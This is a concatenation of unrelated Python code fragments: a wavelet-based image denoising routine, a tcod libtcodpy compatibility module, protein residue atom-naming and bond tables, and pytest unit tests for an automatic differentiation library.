for parent, child in zip(highpasses[-1:0:-1], highpasses[-2::-1]):
# We will shrink child coefficients.
# Rescale parent to be the size of child
parent = dtcwt.sampling.rescale(parent, child.shape[:2], method='nearest')
# Construct gain for shrinkage separately per direction and for real and imag
real_gain = np.ones_like(child.real)
imag_gain = np.ones_like(child.real)
for dir_idx in xrange(parent.shape[2]):
child_d = child[:,:,dir_idx]
parent_d = parent[:,:,dir_idx]
# Estimate sigma_w and gain for real
real_sigma_w = np.sqrt(np.maximum(1e-8, np.var(child_d.real) - sigma_n*sigma_n))
real_R = np.sqrt(parent_d.real*parent_d.real + child_d.real*child_d.real)
real_gain[:,:,dir_idx] = np.maximum(0, real_R - (np.sqrt(3)*sigma_n*sigma_n)/real_sigma_w) / real_R
# Estimate sigma_w and gain for imag
imag_sigma_w = np.sqrt(np.maximum(1e-8, np.var(child_d.imag) - sigma_n*sigma_n))
imag_R = np.sqrt(parent_d.imag*parent_d.imag + child_d.imag*child_d.imag)
imag_gain[:,:,dir_idx] = np.maximum(0, imag_R - (np.sqrt(3)*sigma_n*sigma_n)/imag_sigma_w) / imag_R
# Shrink child levels
shrunk = (child.real * real_gain) + 1j * (child.imag * imag_gain)
shrunk_levels.append(shrunk)
return shrunk_levels[::-1]
options = docopt(__doc__)
imprefix = options['--output-prefix']
# Set up logging according to command line options
loglevel = logging.INFO if options['--verbose'] else logging.WARN
logging.basicConfig(level=loglevel)
# Load inputs
logging.info('Loading input | |
"""This module handles backward compatibility with the ctypes libtcodpy module.
"""
import os
import sys
import atexit
import threading
from typing import (
Any,
AnyStr,
Callable,
Hashable,
Iterable,
Iterator,
List,
Optional,
Sequence,
Tuple,
Union,
)
import warnings
import numpy as np
from tcod.loader import ffi, lib
from tcod.constants import * # noqa: F4
from tcod.constants import (
BKGND_DEFAULT,
BKGND_SET,
BKGND_ALPH,
BKGND_ADDA,
FONT_LAYOUT_ASCII_INCOL,
FOV_RESTRICTIVE,
FOV_PERMISSIVE_0,
NOISE_DEFAULT,
KEY_RELEASED,
)
from tcod._internal import deprecate, pending_deprecate, _check
from tcod._internal import _int, _unpack_char_p
from tcod._internal import _bytes, _unicode, _fmt
from tcod._internal import _CDataWrapper
from tcod._internal import _PropagateException
from tcod._internal import _console
import tcod.bsp
from tcod.color import Color
import tcod.console
import tcod.image
import tcod.map
import tcod.noise
import tcod.path
import tcod.random
Bsp = tcod.bsp.BSP
NB_FOV_ALGORITHMS = 13
NOISE_DEFAULT_HURST = 0.5
NOISE_DEFAULT_LACUNARITY = 2.0
def FOV_PERMISSIVE(p: int) -> int:
return FOV_PERMISSIVE_0 + p
def BKGND_ALPHA(a: int) -> int:
return BKGND_ALPH | (int(a * 255) << 8)
def BKGND_ADDALPHA(a: int) -> int:
return BKGND_ADDA | (int(a * 255) << 8)
class ConsoleBuffer(object):
"""Simple console that allows direct (fast) access to cells. simplifies
use of the "fill" functions.
.. deprecated:: 6.0
Console array attributes perform better than this class.
Args:
width (int): Width of the new ConsoleBuffer.
height (int): Height of the new ConsoleBuffer.
back_r (int): Red background color, from 0 to 255.
back_g (int): Green background color, from 0 to 255.
back_b (int): Blue background color, from 0 to 255.
fore_r (int): Red foreground color, from 0 to 255.
fore_g (int): Green foreground color, from 0 to 255.
fore_b (int): Blue foreground color, from 0 to 255.
char (AnyStr): A single character str or bytes object.
"""
def __init__(
self,
width: int,
height: int,
back_r: int = 0,
back_g: int = 0,
back_b: int = 0,
fore_r: int = 0,
fore_g: int = 0,
fore_b: int = 0,
char: str = " ",
) -> None:
"""initialize with given width and height. values to fill the buffer
are optional, defaults to black with no characters.
"""
warnings.warn(
"Console array attributes perform better than this class.",
DeprecationWarning,
stacklevel=2,
)
self.width = width
self.height = height
self.clear(back_r, back_g, back_b, fore_r, fore_g, fore_b, char)
def clear(
self,
back_r: int = 0,
back_g: int = 0,
back_b: int = 0,
fore_r: int = 0,
fore_g: int = 0,
fore_b: int = 0,
char: str = " ",
) -> None:
"""Clears the console. Values to fill it with are optional, defaults
to black with no characters.
Args:
back_r (int): Red background color, from 0 to 255.
back_g (int): Green background color, from 0 to 255.
back_b (int): Blue background color, from 0 to 255.
fore_r (int): Red foreground color, from 0 to 255.
fore_g (int): Green foreground color, from 0 to 255.
fore_b (int): Blue foreground color, from 0 to 255.
char (AnyStr): A single character str or bytes object.
"""
n = self.width * self.height
self.back_r = [back_r] * n
self.back_g = [back_g] * n
self.back_b = [back_b] * n
self.fore_r = [fore_r] * n
self.fore_g = [fore_g] * n
self.fore_b = [fore_b] * n
self.char = [ord(char)] * n
def copy(self) -> "ConsoleBuffer":
"""Returns a copy of this ConsoleBuffer.
Returns:
ConsoleBuffer: A new ConsoleBuffer copy.
"""
other = ConsoleBuffer(0, 0) # type: "ConsoleBuffer"
other.width = self.width
other.height = self.height
other.back_r = list(self.back_r) # make explicit copies of all lists
other.back_g = list(self.back_g)
other.back_b = list(self.back_b)
other.fore_r = list(self.fore_r)
other.fore_g = list(self.fore_g)
other.fore_b = list(self.fore_b)
other.char = list(self.char)
return other
def set_fore(
self, x: int, y: int, r: int, g: int, b: int, char: str
) -> None:
"""Set the character and foreground color of one cell.
Args:
x (int): X position to change.
y (int): Y position to change.
r (int): Red foreground color, from 0 to 255.
g (int): Green foreground color, from 0 to 255.
b (int): Blue foreground color, from 0 to 255.
char (AnyStr): A single character str or bytes object.
"""
i = self.width * y + x
self.fore_r[i] = r
self.fore_g[i] = g
self.fore_b[i] = b
self.char[i] = ord(char)
def set_back(self, x: int, y: int, r: int, g: int, b: int) -> None:
"""Set the background color of one cell.
Args:
x (int): X position to change.
y (int): Y position to change.
r (int): Red background color, from 0 to 255.
g (int): Green background color, from 0 to 255.
b (int): Blue background color, from 0 to 255.
"""
i = self.width * y + x
self.back_r[i] = r
self.back_g[i] = g
self.back_b[i] = b
def set(
self,
x: int,
y: int,
back_r: int,
back_g: int,
back_b: int,
fore_r: int,
fore_g: int,
fore_b: int,
char: str,
) -> None:
"""Set the background color, foreground color and character of one cell.
Args:
x (int): X position to change.
y (int): Y position to change.
back_r (int): Red background color, from 0 to 255.
back_g (int): Green background color, from 0 to 255.
back_b (int): Blue background color, from 0 to 255.
fore_r (int): Red foreground color, from 0 to 255.
fore_g (int): Green foreground color, from 0 to 255.
fore_b (int): Blue foreground color, from 0 to 255.
char (AnyStr): A single character str or bytes object.
"""
i = self.width * y + x
self.back_r[i] = back_r
self.back_g[i] = back_g
self.back_b[i] = back_b
self.fore_r[i] = fore_r
self.fore_g[i] = fore_g
self.fore_b[i] = fore_b
self.char[i] = ord(char)
def blit(
self,
dest: tcod.console.Console,
fill_fore: bool = True,
fill_back: bool = True,
) -> None:
"""Use libtcod's "fill" functions to write the buffer to a console.
Args:
dest (Console): Console object to modify.
fill_fore (bool):
If True, fill the foreground color and characters.
fill_back (bool):
If True, fill the background color.
"""
if not dest:
dest = tcod.console.Console._from_cdata(ffi.NULL)
if dest.width != self.width or dest.height != self.height:
raise ValueError(
"ConsoleBuffer.blit: "
"Destination console has an incorrect size."
)
if fill_back:
bg = dest.bg.ravel()
bg[0::3] = self.back_r
bg[1::3] = self.back_g
bg[2::3] = self.back_b
if fill_fore:
fg = dest.fg.ravel()
fg[0::3] = self.fore_r
fg[1::3] = self.fore_g
fg[2::3] = self.fore_b
dest.ch.ravel()[:] = self.char
class Dice(_CDataWrapper):
"""
Args:
nb_dices (int): Number of dice.
nb_faces (int): Number of sides on a die.
multiplier (float): Multiplier.
addsub (float): Addition.
.. deprecated:: 2.0
You should make your own dice functions instead of using this class
which is tied to a CData object.
"""
def __init__(self, *args: Any, **kargs: Any) -> None:
warnings.warn(
"Using this class is not recommended.",
DeprecationWarning,
stacklevel=2,
)
super(Dice, self).__init__(*args, **kargs)
if self.cdata == ffi.NULL:
self._init(*args, **kargs)
def _init(
self,
nb_dices: int = 0,
nb_faces: int = 0,
multiplier: float = 0,
addsub: float = 0,
) -> None:
self.cdata = ffi.new("TCOD_dice_t*")
self.nb_dices = nb_dices
self.nb_faces = nb_faces
self.multiplier = multiplier
self.addsub = addsub
@property
def nb_dices(self) -> int:
return self.nb_rolls
@nb_dices.setter
def nb_dices(self, value: int) -> None:
self.nb_rolls = value
def __str__(self) -> str:
add = "+(%s)" % self.addsub if self.addsub != 0 else ""
return "%id%ix%s%s" % (
self.nb_dices,
self.nb_faces,
self.multiplier,
add,
)
def __repr__(self) -> str:
return "%s(nb_dices=%r,nb_faces=%r,multiplier=%r,addsub=%r)" % (
self.__class__.__name__,
self.nb_dices,
self.nb_faces,
self.multiplier,
self.addsub,
)
# reverse lookup table for KEY_X attributes, used by Key.__repr__
_LOOKUP_VK = {
value: "KEY_%s" % key[6:]
for key, value in lib.__dict__.items()
if key.startswith("TCODK")
}
class Key(_CDataWrapper):
"""Key Event instance
Attributes:
vk (int): TCOD_keycode_t key code
c (int): character if vk == TCODK_CHAR else 0
text (Text): text[TCOD_KEY_TEXT_SIZE];
text if vk == TCODK_TEXT else text[0] == '\0'
pressed (bool): does this correspond to a key press or key release
event?
lalt (bool): True when left alt is held.
lctrl (bool): True when left control is held.
lmeta (bool): True when left meta key is held.
ralt (bool): True when right alt is held.
rctrl (bool): True when right control is held.
rmeta (bool): True when right meta key is held.
shift (bool): True when any shift is held.
.. deprecated:: 9.3
Use events from the :any:`tcod.event` module instead.
"""
_BOOL_ATTRIBUTES = (
"lalt",
"lctrl",
"lmeta",
"ralt",
"rctrl",
"rmeta",
"pressed",
"shift",
)
def __init__(
self,
vk: int = 0,
c: int = 0,
text: str | |
'HH12'): ('ARG', '2HH1'),
('ARG', 'HH21'): ('ARG', '1HH2'),
('ARG', 'HH22'): ('ARG', '2HH2'),
('TYR', 'HB2'): ('TYR', '1HB'),
('TYR', 'HB3'): ('TYR', '2HB'),
('PHE', 'HB2'): ('PHE', '1HB'),
('PHE', 'HB3'): ('PHE', '2HB'),
('THR', 'HG21'): ('THR', '1HG2'),
('THR', 'HG22'): ('THR', '2HG2'),
('THR', 'HG23'): ('THR', '3HG2'),
('VAL', 'HG11'): ('VAL', '1HG1'),
('VAL', 'HG12'): ('VAL', '2HG1'),
('VAL', 'HG13'): ('VAL', '3HG1'),
('VAL', 'HG21'): ('VAL', '1HG2'),
('VAL', 'HG22'): ('VAL', '2HG2'),
('VAL', 'HG23'): ('VAL', '3HG2'),
('PRO', 'HB2'): ('PRO', '1HB'),
('PRO', 'HB3'): ('PRO', '2HB'),
('PRO', 'HG2'): ('PRO', '1HG'),
('PRO', 'HG3'): ('PRO', '2HG'),
('PRO', 'HD2'): ('PRO', '1HD'),
('PRO', 'HD3'): ('PRO', '2HD'),
('GLU', 'HB2'): ('GLU', '1HB'),
('GLU', 'HB3'): ('GLU', '2HB'),
('GLU', 'HG2'): ('GLU', '1HG'),
('GLU', 'HG3'): ('GLU', '2HG'),
('ILE', 'HG12'): ('ILE', '1HG1'),
('ILE', 'HG13'): ('ILE', '2HG1'),
('ILE', 'HG21'): ('ILE', '1HG2'),
('ILE', 'HG22'): ('ILE', '2HG2'),
('ILE', 'HG23'): ('ILE', '3HG2'),
('ILE', 'HD11'): ('ILE', '1HD1'),
('ILE', 'HD12'): ('ILE', '2HD1'),
('ILE', 'HD13'): ('ILE', '3HD1'),
('ALA', 'HB1'): ('ALA', '1HB'),
('ALA', 'HB2'): ('ALA', '2HB'),
('ALA', 'HB3'): ('ALA', '3HB'),
('ASP', 'HB2'): ('ASP', '1HB'),
('ASP', 'HB3'): ('ASP', '2HB'),
('GLN', 'HB2'): ('GLN', '1HB'),
('GLN', 'HB3'): ('GLN', '2HB'),
('GLN', 'HG2'): ('GLN', '1HG'),
('GLN', 'HG3'): ('GLN', '2HG'),
('GLN', 'HE22'): ('GLN', '1HE2'),
('GLN', 'HE21'): ('GLN', '2HE2'),
('TRP', 'HB2'): ('TRP', '1HB'),
('TRP', 'HB3'): ('TRP', '2HB'),
('LYS', 'HB2'): ('LYS', '1HB'),
('LYS', 'HB3'): ('LYS', '2HB'),
('LYS', 'HG2'): ('LYS', '1HG'),
('LYS', 'HG3'): ('LYS', '2HG'),
('LYS', 'HD2'): ('LYS', '1HD'),
('LYS', 'HD3'): ('LYS', '2HD'),
('LYS', 'HE2'): ('LYS', '1HE'),
('LYS', 'HE3'): ('LYS', '2HE'),
('LYS', 'HZ1'): ('LYS', '1HZ'),
('LYS', 'HZ2'): ('LYS', '2HZ'),
('LYS', 'HZ3'): ('LYS', '3HZ'),
('LEU', 'HB2'): ('LEU', '1HB'),
('LEU', 'HB3'): ('LEU', '2HB'),
('LEU', 'HD11'): ('LEU', '1HD1'),
('LEU', 'HD12'): ('LEU', '2HD1'),
('LEU', 'HD13'): ('LEU', '3HD1'),
('LEU', 'HD21'): ('LEU', '1HD2'),
('LEU', 'HD22'): ('LEU', '2HD2'),
('LEU', 'HD23'): ('LEU', '3HD2'),
('ASN', 'HB2'): ('ASN', '1HB'),
('ASN', 'HB3'): ('ASN', '2HB'),
('ASN', 'HD21'): ('ASN', '1HD2'),
('ASN', 'HD22'): ('ASN', '2HD2'),
('CYS', 'HB2'): ('CYS', '1HB'),
('CYS', 'HB3'): ('CYS', '2HB'),
('LEU', 'H1'): ('LEU', '1H'),
('LEU', 'H2'): ('LEU', '2H'),
('LEU', 'H3'): ('LEU', '3H'),
('ARG', 'H1'): ('ARG', '1H'),
('ARG', 'H2'): ('ARG', '2H'),
('ARG', 'H3'): ('ARG', '3H'),
('PHE', 'H1'): ('PHE', '1H'),
('PHE', 'H2'): ('PHE', '2H'),
('PHE', 'H3'): ('PHE', '3H'),
('GLU', 'H1'): ('GLU', '1H'),
('GLU', 'H2'): ('GLU', '2H'),
('GLU', 'H3'): ('GLU', '3H'),
('LYS', 'H1'): ('LYS', '1H'),
('LYS', 'H2'): ('LYS', '2H'),
('LYS', 'H3'): ('LYS', '3H'),
('MET', 'H1'): ('MET', '1H'),
('MET', 'H2'): ('MET', '2H'),
('MET', 'H3'): ('MET', '3H'),
('ILE', 'H1'): ('ILE', '1H'),
('ILE', 'H2'): ('ILE', '2H'),
('ILE', 'H3'): ('ILE', '3H'),
('TYR', 'H1'): ('TYR', '1H'),
('TYR', 'H2'): ('TYR', '2H'),
('TYR', 'H3'): ('TYR', '3H'),
('GLN', 'H1'): ('GLN', '1H'),
('GLN', 'H2'): ('GLN', '2H'),
('GLN', 'H3'): ('GLN', '3H'),
('SER', 'H1'): ('SER', '1H'),
('SER', 'H2'): ('SER', '2H'),
('SER', 'H3'): ('SER', '3H'),
('ASN', 'H1'): ('ASN', '1H'),
('ASN', 'H2'): ('ASN', '2H'),
('ASN', 'H3'): ('ASN', '3H'),
('ASP', 'H1'): ('ASP', '1H'),
('ASP', 'H2'): ('ASP', '2H'),
('ASP', 'H3'): ('ASP', '3H'),
('ALA', 'H1'): ('ALA', '1H'),
('ALA', 'H2'): ('ALA', '2H'),
('ALA', 'H3'): ('ALA', '3H'),
('HIS', 'H1'): ('HIS', '1H'),
('HIS', 'H2'): ('HIS', '2H'),
('HIS', 'H3'): ('HIS', '3H'),
('CYS', 'H1'): ('CYS', '1H'),
('CYS', 'H2'): ('CYS', '2H'),
('CYS', 'H3'): ('CYS', '3H'),
('VAL', 'H1'): ('VAL', '1H'),
('VAL', 'H2'): ('VAL', '2H'),
('VAL', 'H3'): ('VAL', '3H'),
('THR', 'H1'): ('THR', '1H'),
('THR', 'H2'): ('THR', '2H'),
('THR', 'H3'): ('THR', '3H'),
('GLY', 'H1'): ('GLY', '1H'),
('GLY', 'H2'): ('GLY', '2H'),
('GLY', 'H3'): ('GLY', '3H'),
('PRO', 'H1'): ('PRO', '1H'),
('PRO', 'H2'): ('PRO', '2H'),
('PRO', 'H3'): ('PRO', '3H'),
('TRP', 'H1'): ('TRP', '1H'),
('TRP', 'H2'): ('TRP', '2H'),
('TRP', 'H3'): ('TRP', '3H'),
}
atom_alias_ros_reverse = {v: k for k, v in atom_alias_ros.items()}
# OXT was added after conversion from residue building code.
residue_bonds_noh = {
'GLY': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C')},
'ALA': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'), 'CB': ('CA',)},
'CYS': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'SG'), 'SG': ('CB',)},
'SER': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'OG'), 'OG': ('CB',)},
'MET': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'SD'), 'SD': ('CG', 'CE'), 'CE': ('SD',)},
'LYS': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD'), 'CD': ('CG', 'CE'), 'CE': ('CD', 'NZ'), 'NZ': ('CE',)},
'ARG': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD'), 'CD': ('CG', 'NE'), 'NE': ('CD', 'CZ'), 'CZ': ('NE', 'NH1', 'NH2'),
'NH1': ('CZ',), 'NH2': ('CZ',)},
'GLU': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD'), 'CD': ('CG', 'OE1', 'OE2'), 'OE1': ('CD',), 'OE2': ('CD',)},
'GLN': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD'), 'CD': ('CG', 'OE1', 'NE2'), 'OE1': ('CD',), 'NE2': ('CD',)},
'ASP': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'OD1', 'OD2'), 'OD1': ('CG',), 'OD2': ('CG',)},
'ASN': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'OD1', 'ND2'), 'OD1': ('CG',), 'ND2': ('CG',)},
'LEU': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD1', 'CD2'), 'CD1': ('CG',), 'CD2': ('CG',)},
'HIS': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'ND1', 'CD2'), 'ND1': ('CG', 'CE1'), 'CD2': ('CG', 'NE2'),
'CE1': ('ND1', 'NE2'), 'NE2': ('CD2', 'CE1')},
'PHE': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD1', 'CD2'), 'CD1': ('CG', 'CE1'), 'CD2': ('CG', 'CE2'),
'CE1': ('CD1', 'CZ'), 'CE2': ('CD2', 'CZ'), 'CZ': ('CE1', 'CE2')},
'TYR': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD1', 'CD2'), 'CD1': ('CG', 'CE1'), 'CD2': ('CG', 'CE2'),
'CE1': ('CD1', 'CZ'), 'CE2': ('CD2', 'CZ'), 'CZ': ('CE1', 'CE2', 'OH'), 'OH': ('CZ',)},
'TRP': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD1', 'CD2'), 'CD1': ('CG', 'NE1'), 'CD2': ('CG', 'CE2', 'CE3'),
'NE1': ('CD1', 'CE2'), 'CE2': ('CD2', 'NE1', 'CZ2'), 'CE3': ('CD2', 'CZ3'), 'CZ3': ('CE3', 'CH2'),
'CZ2': ('CE2', 'CH2'), 'CH2': ('CZ2', 'CZ3')},
'VAL': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG1', 'CG2'), 'CG1': ('CB',), 'CG2': ('CB',)},
'THR': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'OG1', 'CG2'), 'OG1': ('CB',), 'CG2': ('CB',)},
'ILE': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA',), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG1', 'CG2'), 'CG1': ('CB', 'CD1'), 'CD1': ('CG1',), 'CG2': ('CB',)},
'PRO': {'OXT': ('C',), 'C': ('CA', 'O', 'OXT'), 'O': ('C',), 'N': ('CA', 'CD'), 'CA': ('N', 'C', 'CB'),
'CB': ('CA', 'CG'), 'CG': ('CB', 'CD'), 'CD': ('N', 'CG')},
}
residue_bonds_gromos = {
'ALA': {
'OXT': ('C',),
'N': ('CA', 'H', 'H1', 'H2'),
'CA': ('N', 'C', 'CB'),
'C': ('CA', 'O', 'OXT'),
'O': ('C',),
'H': ('N',),
'H1': ('N',),
'H2': ('N',),
'CB': ('CA',)
},
'ARG': {
'OXT': ('C',),
'N': ('CA', 'H', 'H1', 'H2'),
'CA': ('N', 'C', 'CB'),
'C': ('CA', 'O', 'OXT'),
'O': ('C',),
'H': ('N',),
'H1': ('N',),
'H2': ('N',),
'CB': ('CA', 'CG'),
'CG': ('CB', 'CD'),
'CD': ('CG', 'NE'),
'NE': ('CD', 'HE', 'CZ'),
'HE': ('NE',),
'CZ': ('NE', 'NH1', 'NH2'),
'NH1': ('CZ', 'HH11', 'HH12'),
'HH11': ('NH1',),
'HH12': ('NH1',),
'NH2': ('CZ', 'HH21', 'HH22'),
'HH21': ('NH2',),
'HH22': ('NH2',)
},
'ASN': {
'OXT': ('C',),
'N': ('CA', 'H', 'H1', 'H2'),
'CA': ('N', 'C', 'CB'),
'C': ('CA', 'O', 'OXT'),
'O': ('C',),
'H': ('N',),
'H1': ('N',),
'H2': ('N',),
'CB': ('CA', 'CG'),
'CG': ('CB', 'OD1', 'ND2'),
'OD1': ('CG',),
'ND2': ('CG', 'HD21', 'HD22'),
'HD21': ('ND2',),
'HD22': ('ND2',)
},
'ASP': {
'OXT': ('C',),
'N': ('CA', 'H', 'H1', 'H2'),
'CA': ('N', 'C', 'CB'),
'C': ('CA', 'O', 'OXT'),
'O': ('C',),
'H': ('N',),
'H1': ('N',),
'H2': ('N',),
'CB': ('CA', 'CG'),
'CG': ('CB', 'OD1', 'OD2'),
'OD1': ('CG',),
'OD2': ('CG',)
},
'CYS': {
'OXT': ('C',),
'N': ('CA', 'H', 'H1', 'H2'),
'CA': | |
# usage: pytest -q solvers_test.py
import SmartDiff.solvers.element_op as el
from SmartDiff.solvers.element_op import AutoDiff as AD
import numpy as np
import pytest
class TestElemOp:
def test_power(self):
x = AD(5)
f = el.power(x, 2)
assert (f.val, f.der) == (25, 10)
x = 10
f = el.power(x, 3)
assert (f.val, f.der) == (1000, 0)
x = 10.0
f = el.power(x, 3)
assert (f.val, f.der) == (1000, 0)
with pytest.raises(AttributeError):
x = "s"
f = el.power(x, 3)
def test_log(self):
x = AD(12)
f = el.log(x, 10)
assert (f.val, f.der) == (np.log(12) / np.log(10), 1 / (12 * np.log(10)))
x = 8
f = el.log(x, 2)
assert (np.round(f.val, 6), f.der) == (3, 0)
x = 9.0
f = el.log(x, 3)
assert (f.val, f.der) == (2, 0)
x = AD(0)
with pytest.raises(ValueError):
f = el.log(x, 2)
x = 0
with pytest.raises(ValueError):
f = el.log(x, 2)
with pytest.raises(AttributeError):
x = "s"
f = el.log(x, 3)
with pytest.raises(ValueError):
x = -3.9
f = el.log(x, 3)
def test_ln(self):
x = AD(-10)
with pytest.raises(ValueError):
f = el.ln(x)
x = AD(10, N=3)
f = el.ln(x)
assert (f.val, f.der[-1]) == (np.log(10), 2 * 1 / (1000))
x = AD(10, N=4)
f = el.ln(x)
assert (f.val, f.der[-1]) == (np.log(10), -6 * 1 / (10000))
def test_exp(self):
f = el.exp(1)
assert (f.val, f.der) == (np.exp(1), 0)
x = AD(1)
f = el.exp(x)
assert (f.val, f.der) == (np.exp(1), np.exp(1))
x = AD(2)
f = el.power(x, 3)
g = el.exp(f)
assert (np.round(g.val, 6), np.round(g.der, 6)) == (
np.round(np.exp(1) ** 8, 6), np.round(12 * np.exp(1) ** 8, 6))
with pytest.raises(AttributeError):
x = "hello"
f = el.exp(x)
def test_expn(self):
x = AD(2)
f = el.expn(x, 25)
assert (f.val, f.der) == (625, 625 * np.log(25))
x = 2
f = el.expn(x, 25)
assert (f.val, f.der) == (625, 0)
with pytest.raises(AttributeError):
f = el.expn('25', 0)
with pytest.raises(ValueError):
f = el.expn(x, -10)
x = AD(4)
f = el.expn(x, 2)
# assert (f.val, f.der) == (16, 16*(np.log(2)**2))
def test_inv(self):
x = 10
assert el.inv(x) == 0.1
y = -1 / 30
assert el.inv(y) == -30
with pytest.raises(ZeroDivisionError):
x = 0
f = el.inv(x)
with pytest.raises(AttributeError):
x = "zero"
f = el.inv(x)
x = AD(8)
f = el.inv(x)
assert (f.val, f.der) == (1 / 8, -1 / 64)
x = 92
f = el.inv(x)
assert (f.val, f.der) == (1 / 92, 0)
x = AD(10, N=3)
f = el.inv(x)
assert (f.val, f.der[-1]) == (0.1, -6 * 1 / 10000)
def test_sqrt(self):
x = AD(4)
f = el.sqrt(x)
assert (f.val, f.der) == (2, 0.5 * 4 ** (-0.5))
x = 4
f = el.sqrt(x)
assert (f.val, f.der) == (2, 0)
x = 16.0
f = el.sqrt(x)
assert (f.val, f.der) == (4, 0)
x = AD(-5)
with pytest.raises(ValueError):
f = el.sqrt(x)
x = -5
with pytest.raises(ValueError):
f = el.sqrt(x)
with pytest.raises(AttributeError):
x = "World"
f = el.sqrt(x)
x = AD(4, N=3)
f = el.sqrt(x)
assert (f.val, f.der[-1]) == (2, (3 / 8) * 4 ** (-2.5))
def test_sin(self):
x = AD(0)
f = el.sin(x)
assert (f.val, f.der) == (0.0, 1.0)
x = 13
f = el.sin(x)
assert (f.val, f.der) == (np.sin(13), 0)
x = 13.0
f = el.sin(x)
assert (f.val, f.der) == (np.sin(13), 0)
with pytest.raises(AttributeError):
x = "!"
f = el.sin(x)
def test_cos(self):
x = AD(90)
f = el.cos(x)
assert (f.val, f.der) == (np.cos(90), -np.sin(90))
x = 13
f = el.cos(x)
assert (f.val, f.der) == (np.cos(13), 0)
x = 13.0
f = el.cos(x)
assert (f.val, f.der) == (np.cos(13), 0)
with pytest.raises(AttributeError):
x = "ABC"
f = el.cos(x)
def test_tan(self):
x = AD(90)
f = el.tan(x)
assert (f.val, f.der) == (np.tan(90), 1 / (np.cos(90)) ** 2)
x = 13
f = el.tan(x)
assert (f.val, f.der) == (np.tan(13), 0)
x = 13.0
f = el.tan(x)
assert (f.val, f.der) == (np.tan(13), 0)
with pytest.raises(AttributeError):
x = "xyz"
f = el.tan(x)
def test_arcsin(self):
x = AD(0.5)
f = el.arcsin(x)
assert (f.val, f.der) == (np.arcsin(0.5), 1 / np.sqrt(1 - 0.5 ** 2))
x = 0
f = el.arcsin(x)
assert (f.val, f.der) == (np.arcsin(0), 0)
x = 1.0
f = el.arcsin(x)
assert (f.val, f.der) == (np.arcsin(1), 0)
x = -5
with pytest.raises(ValueError):
f = el.arcsin(x)
x = 10.0
with pytest.raises(ValueError):
f = el.arcsin(x)
x = AD(-5.0)
with pytest.raises(ValueError):
f = el.arcsin(x)
x = AD(10)
with pytest.raises(ValueError):
f = el.arcsin(x)
with pytest.raises(AttributeError):
x = "."
f = el.arcsin(x)
def test_arccos(self):
x = AD(0.5)
f = el.arccos(x)
assert (f.val, f.der) == (np.arccos(0.5), -1 / np.sqrt(1 - 0.5 ** 2))
x = 0.5
f = el.arccos(x)
assert (f.val, f.der) == (np.arccos(0.5), 0)
x = -5
with pytest.raises(ValueError):
f = el.arccos(x)
x = 10.0
with pytest.raises(ValueError):
f = el.arccos(x)
x = AD(-5.0)
with pytest.raises(ValueError):
f = el.arccos(x)
x = AD(10)
with pytest.raises(ValueError):
f = el.arccos(x)
with pytest.raises(AttributeError):
x = "--"
f = el.arccos(x)
def test_arctan(self):
x = AD(0.5)
f = el.arctan(x)
assert (f.val, f.der) == (np.arctan(0.5), 1 / (1 + 0.5 ** 2))
x = 0.5
f = el.arctan(x)
assert (f.val, f.der) == (np.arctan(0.5), 0)
with pytest.raises(AttributeError):
x = "AD(0.5)"
f = el.arctan(x)
def test_sinh(self):
x = AD(0.5)
f = el.sinh(x)
assert (f.val, f.der) == (np.sinh(0.5), np.cosh(0.5))
x = 0.5
